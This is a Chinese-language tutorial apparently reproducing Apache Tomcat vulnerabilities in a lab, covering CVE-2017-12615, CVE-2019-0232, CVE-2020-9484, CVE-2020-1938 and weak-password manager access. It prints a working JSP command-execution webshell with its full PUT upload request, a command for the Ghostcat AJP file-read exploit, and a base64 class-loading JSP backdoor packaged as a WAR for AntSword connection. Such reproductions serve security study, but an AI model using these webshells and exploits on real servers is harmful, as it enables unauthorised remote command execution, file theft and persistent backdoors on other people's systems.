tomcat中间件漏洞复现
tomcat
前置知识:
tomcat是什么
- Apache Tomcat是由Apache Software Foundation(ASF)开发的一个开源Java WEB应用服务器。 类似功能的还有:Jetty、Resin、Websphere、weblogic、JBoss、Glassfish、GonAS等
- Tomcat,全称Apache Tomcat,是一个开源的Web应用服务器。它可以看作是一个“小型网站服务器”,主要用于运行Java编写的网站。不同于那些需要大量计算资源的大型商业服务器,Tomcat更适合用于个人项目或小型企业,提供网页浏览和小规模数据处理功能。
tomcat的工作方式
- Tomcat的工作就是接收用户通过互联网发送的请求(比如你点击一个网页上的链接),处理这些请求,并把结果返回给用户的浏览器。Tomcat能够理解和运行Java Servlet和JavaServer Pages(JSP),这些技术允许开发人员编写能动态生成网页内容的程序。因为会解析jsp,所以学习一下jsp基础语法是需要的
tomcat出现过的漏洞
Tomcat 任意文件写入(CVE-2017-12615)
1.影响范围
- Apache Tomcat 7.0.0-7.0.81
2.原理
- Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行
3.案例
(见下面)
Tomcat 远程代码执行(CVE-2019-0232)
1.影响范围
-
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
2.原理
- 由于使用enableCmdLineArguments在Windows上运行时,远程执行代码漏洞(CVE-2019-0232)驻留在公共网关接口(CGI)Servlet中,java运行时环境(JRE)将命令行参数传递给Windows的方式存在缺陷导致
3.利用条件
- 1.系统为Windows
2. 启用了CGI Servlet(默认为关闭)
3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
Tomcat session反序列化(CVE-2020-9484)
1.影响范围
-
10.0.0-M1至10.0.0-M4
9.0.0.0.M1至9.0.34
8.5.0至8.5.54
7.0.0至7.0.103
2.原理
- 当使用tomcat时,如果使用了tomcat提供的session持久化功能,就会在一次会话中尝试读取session文件中的内容,并进行反序列化。
3.利用条件
- 1.攻击者能够控制服务器上文件的内容和文件名称;
2.服务器PersistenceManager配置中使用了FileStore;
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象;
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径
Tomcat 弱口令 && 后台getshell
1.影响范围
- 所有版本
2.原理
- 通过弱口令进入后台后,在后台部署war文件,可以直接将webshell部署到web目录下
3.利用条件
-
Tomcat7+权限分为:
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 Apache Tomcat 8 (8.5.77) - Manager App How-To用户tomcat拥有上述所有权限,密码是tomcat;正常安装的情况下,tomcat中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
CVE-2017-12615
启动
http://ip:8080,原因是tomcat的默认配置端口就是8080

由上面可知存在PUT方法上传任意文件
抓包
将get改为put(因为post不行)



payload
<%
if("ykkx".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
如下数据包
PUT /1.jsp/ HTTP/1.1
Host: 47.109.184.44:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
<%
if("ykkx".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
如下利用,上传一句话木马可以使用蚁剑等连接

CVE-2020-1938
影响版本
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
漏洞原理
Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者可通过构造特定参数读取webapp目录下的任意文件,如:webapp 配置文件或源代码等。
案例
先进行端口扫描发现这几个端口是开放的,8009端口的AJP协议是开启的,Tomcat版本<9.0.31,并且存在8009端口ajp服务的开启

进行利用
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
参数介绍
-h,--help: 显示帮助信息并退出。-p,--port: 攻击的 AJP 端口号,默认值为 8009。-f,--file: 要包含的文件路径,默认值为WEB-INF/web.xml。
读取xml信息
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.109.184.44 -f WEB-INF/web.xml

回到靶机上

任意文件读取
tomcat8
登录页面

输入账号密码


上传1.php

制作步骤
先写入jsp后门文件,命名为jspant.jsp,压缩为zip包再进行改名为war
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ykkx");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
上传

蚁剑连接

更多推荐

所有评论(0)